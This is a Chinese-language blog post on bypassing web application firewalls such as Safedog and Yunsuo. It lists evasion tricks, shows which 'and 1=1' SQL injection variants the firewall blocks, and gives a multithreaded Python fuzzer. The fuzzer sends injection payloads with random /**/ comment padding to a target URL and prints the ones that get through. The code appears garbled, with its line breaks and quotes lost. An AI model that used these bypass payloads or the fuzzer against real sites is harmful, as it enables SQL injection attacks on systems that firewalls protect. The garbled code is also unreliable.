WAF自動化FUZZ腳本
幾周前答應表哥寫的文章,一直拖到現在了,我都有點臉紅。
想了會,滲透方面的是不可能的,聽說要被封號?
說一下WAF一般繞過的方法吧:
- 中間件特性
- iis會把某些ASCII字元解析為英文字母
- url注入
- 等等
- WAF一些設計缺陷:
- 雲鎖在檢測到POST有參數後就會放棄對GET的檢測,而GET方法在APACHE中高於POST。
- 安全狗以前在檢測到有#後會直接放棄檢測(在資料庫中#代表截斷本行),而我們進行換行後sql代碼依舊可以執行。
- 等等
- 改協議方法(GET->GESSS)
- 資料庫高級語句:
- 不舉例了(其實是我寫不出來)
- 版本評論:
- /*!50001關鍵字*/
- 替換空格:
- /**/
- /*ffasfa*/
簡單來說就這麼些,以上的方法,基本上都需要進行模糊測試(FUZZ)。
想要對waf進行模糊測試那必要的條件:
- 知道軟體攔截的規則
軟體的規則可以直接進行手工測試:
- and 1 -----> 不攔截
- and 1 = 1 ------>攔截
- and 1like 1 -->不攔截
- and = -------->不攔截
- and1=1 不攔截
上面就可以得出安全狗攔截的是 and 後面是否有空格(空格後面又是否有等於)。
所以我們就可以直接從空格動手腳,而/**/是最好的手段了。
這是一張safedog處理的流程圖。
可以從很多方面入手的,大家有什麼問題可以直接在評論區留言。
今天給的腳本是測試替換空格的,不多BB了,代碼如下:
# -*- coding:utf-8 -*-n# hope teamnnimport randomnimport requestsnimport Queuenimport threadingnnQ=Queue.Queue()nndef string(x,y):n seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@$%^&*()_+=-"n for i in range(x):n sa=.join([random.choice(seed) for x in range(y)])n Q.put(http://192.168.67.129/sql.php?sql=1/*%s*/and/*%s*/1=1% (sa,sa))nndef fuzz():n while not Q.empty():n try:n url=Q.get()n r=requests.get(url=url).textn if u網站防火牆 not in r:n print u[*] %s % (url)n except:n passnnif __name__ == __main__:n string(1000,20)n for i in range(20):n t=threading.Thread(target=fuzz)n t.start()n
直接修改第26行string的兩個參數就可以了。
第一個參數是需要生成多少組字元,第二個是每組字元中有幾個字元。
效果圖:
提示:
測試前請關閉WAF的CC攔截
推薦閱讀:
※qkG勒索軟體:利用office漏洞自複製、文件加密
※Satori殭屍網路事件分析:華為路由器0day漏洞(CVE-2017-17215)曝光
※Google:微軟優先給Windows 10修漏洞,讓舊版本系統用戶陷入危險之中
※解密:全球超過400個知名網站正在記錄你的每一個擊鍵過程
※「周二補丁日」,微軟修復影響Windows系統的48個安全漏洞